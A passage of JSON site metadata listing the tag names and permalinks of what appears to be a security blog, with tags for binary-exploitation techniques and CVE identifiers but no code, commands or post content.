一骑当千","slug":"house-of-apple-3-一骑当千","permalink":"https://stackc00ki3.github.io/tags/house-of-apple-3-%E4%B8%80%E9%AA%91%E5%BD%93%E5%8D%83/"}]}],"categories":[],"tags":[{"name":"mimalloc","slug":"mimalloc","permalink":"https://stackc00ki3.github.io/tags/mimalloc/"},{"name":"tty_struct","slug":"tty-struct","permalink":"https://stackc00ki3.github.io/tags/tty-struct/"},{"name":"python","slug":"python","permalink":"https://stackc00ki3.github.io/tags/python/"},{"name":"shared mem","slug":"shared-mem","permalink":"https://stackc00ki3.github.io/tags/shared-mem/"},{"name":"php-pwn","slug":"php-pwn","permalink":"https://stackc00ki3.github.io/tags/php-pwn/"},{"name":"CVE-2019-6977","slug":"CVE-2019-6977","permalink":"https://stackc00ki3.github.io/tags/CVE-2019-6977/"},{"name":"ZMM","slug":"ZMM","permalink":"https://stackc00ki3.github.io/tags/ZMM/"},{"name":"fcgi","slug":"fcgi","permalink":"https://stackc00ki3.github.io/tags/fcgi/"},{"name":"CVE-2025-23016","slug":"CVE-2025-23016","permalink":"https://stackc00ki3.github.io/tags/CVE-2025-23016/"},{"name":"bruteforce canary","slug":"bruteforce-canary","permalink":"https://stackc00ki3.github.io/tags/bruteforce-canary/"},{"name":"type confusion","slug":"type-confusion","permalink":"https://stackc00ki3.github.io/tags/type-confusion/"},{"name":"leakless","slug":"leakless","permalink":"https://stackc00ki3.github.io/tags/leakless/"},{"name":"bof","slug":"bof","permalink":"https://stackc00ki3.github.io/tags/bof/"},{"name":"ret2dlresolve","slug":"ret2dlresolve","permalink":"https://stackc00ki3.github.io/tags/ret2dlresolve/"},{"name":"no gadget","slug":"no-gadget","permalink":"https://stackc00ki3.github.io/tags/no-gadget/"},{"name":"orw","slug":"orw","permalink":"https://stackc00ki3.github.io/tags/orw/"},{"name":"sandbox","slug":"sandbox","permalink":"https://stackc00ki3.github.io/tags/sandbox/"},{"name":"heap overflow","slug":"heap-overflow","permalink":"https://stackc00ki3.github.io/tags/heap-overflow/"},{"name":"fmt","slug":"fmt","permalink":"https://stackc00ki3.github.io/tags/fmt/"},{"name":"off by one","slug":"off-by-one","permalink":"https://stackc00ki3.github.io/tags/off-by-one/"},{"name":"seccomp","slug":"seccomp","permalink":"https://stackc00ki3.github.io/tags/seccomp/"},{"name":"ptrace","slug":"ptrace","permalink":"https://stackc00ki3.github.io/tags/ptrace/"},{"name":"vsyscall","slug":"vsyscall","permalink":"https://stackc00ki3.github.io/tags/vsyscall/"},{"name":"house of apple 3 + 一骑当千","slug":"house-of-apple-3-一骑当千","permalink":"https://stackc00ki3.github.io/tags/house-of-apple-3-%E4%B8%80%E9%AA%91%E5%BD%93%E5%8D%83/"},{"name":"integer overflow","slug":"integer-overflow","permalink":"https://stackc00ki3.github.io/tags/integer-overflow/"},{"name":"sgx","slug":"sgx","permalink":"https://stackc00ki3.github.io/tags/sgx/"},{"name":"ROP","slug":"ROP","permalink":"https://stackc00ki3.github.io/tags/ROP/"},{"name":"cgi","slug":"cgi","permalink":"https://stackc00ki3.github.io/tags/cgi/"},{"name":"命令注入","slug":"命令注入","permalink":"https://stackc00ki3.github.io/tags/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/"},{"name":"uaf","slug":"uaf","permalink":"https://stackc00ki3.github.io/tags/uaf/"},{"name":"calloc","slug":"calloc","permalink":"https://stackc00ki3.github.io/tags/calloc/"}]}